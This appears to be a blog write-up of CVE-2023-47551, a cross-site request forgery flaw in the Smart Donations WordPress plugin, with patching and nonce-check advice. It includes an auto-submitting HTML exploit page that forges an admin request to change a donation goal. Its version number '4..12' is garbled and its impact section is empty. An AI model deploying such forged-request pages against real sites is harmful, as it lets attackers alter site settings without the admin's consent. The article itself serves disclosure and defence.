CVE-2023-47551 - Exploiting CSRF in RedNao Donations Made Easy

WordPress plugins are a favorite target for hackers, and the RedNao Donations Made Easy – Smart Donations plugin is no exception. In late 2023, a critical vulnerability — CVE-2023-47551 — was disclosed, allowing attackers to trick users into making changes or actions on WordPress sites running vulnerable versions (up to 4..12) of the plugin. This vulnerability is known as Cross-Site Request Forgery (CSRF).

In this long-read post, you'll get a clear, exclusive breakdown of what CSRF is, how this vulnerability works specifically in Smart Donations, how attackers could exploit it (with sample code), and what you should do to protect yourself.

What is CSRF? Quick Refresher

CSRF lets an attacker trick a logged-in user (in this case, a WordPress admin) into submitting a request they didn’t intend to make. This can lead to actions like changing settings, adding admins, or even modifying donation forms — if the plugin is vulnerable.

Impact

Attackers can make your site’s admin, when logged in, submit requests without their knowledge. For example:

Root Cause

Smart Donations didn’t properly check for a WordPress nonce when performing sensitive actions via POST requests in the plugin’s admin and AJAX endpoints. Without the nonce, anyone could forge a request from another site.

Code Snippet: Example of Exploit

Let’s imagine an attacker wants to change a donation goal in Smart Donations. They craft a simple HTML file and convince a site admin to visit it:

<!-- cve-2023-47551-example.html -->
<html>
  <body>
    <h1>Oops!</h1>
    <form action="https://victim-example.com/wp-admin/admin-ajax.php?action=smart_donations_change_goal"; method="POST" id="attackForm">
      <input type="hidden" name="goal_id" value="1" />
      <input type="hidden" name="new_goal" value="99999" />
    </form>
    <script>
      document.getElementById("attackForm").submit();
    </script>
  </body>
</html>

- What This Does: If the logged-in admin visits this page, their browser will silently POST to the victim site and change the donation goal to 99999, without any user interaction.
- No Nonce: Since there’s no check for a WordPress nonce, the system cannot tell if this request is legit.

> Note: The actual parameter names depend on the vulnerable endpoint logic in Smart Donations; adjust accordingly.

More Technical Details

Vulnerability researchers, like those at WPScan, outlined that the absence of check_admin_referer() (or similar nonce check) in key plugin actions is why this flaw is possible. Normally, plugins should require a unique token per session (nonce) for all admin-changing requests.

Original References

- WPScan Advisory: CSRF in Smart Donations
- NVD Entry: CVE-2023-47551
- Plugin Download Page

Update Immediately

The plugin authors have reportedly patched the vulnerability after 4..12. Update to the latest version from the WordPress plugin repository.

Manual Hardening

If you must stay on a vulnerable plugin, block external POSTs to sensitive endpoints using rules in your web server or a security plugin.

Add nonce checks to all sensitive plugin actions, like this

if ( ! isset($_POST['my_nonce']) || ! wp_verify_nonce($_POST['my_nonce'], 'my_action') ) {
  wp_die("Security check failed");
}

Final Notes

CSRF bugs are dangerous because they are easy to exploit and hard to detect. CVE-2023-47551 reminded the WordPress ecosystem that even donation plugins need strong security hygiene.

Takeaway:
If you run RedNao Donations Made Easy – Smart Donations up to version 4..12, update right now and always make sure plugins use nonces for any action that changes data.

Timeline

Published on: 11/18/2023 22:15:07 UTC
Last modified on: 11/24/2023 19:08:13 UTC

CVE-2023-47551 - Exploiting CSRF in RedNao Donations Made Easy – Smart Donations (Versions up to 4..12)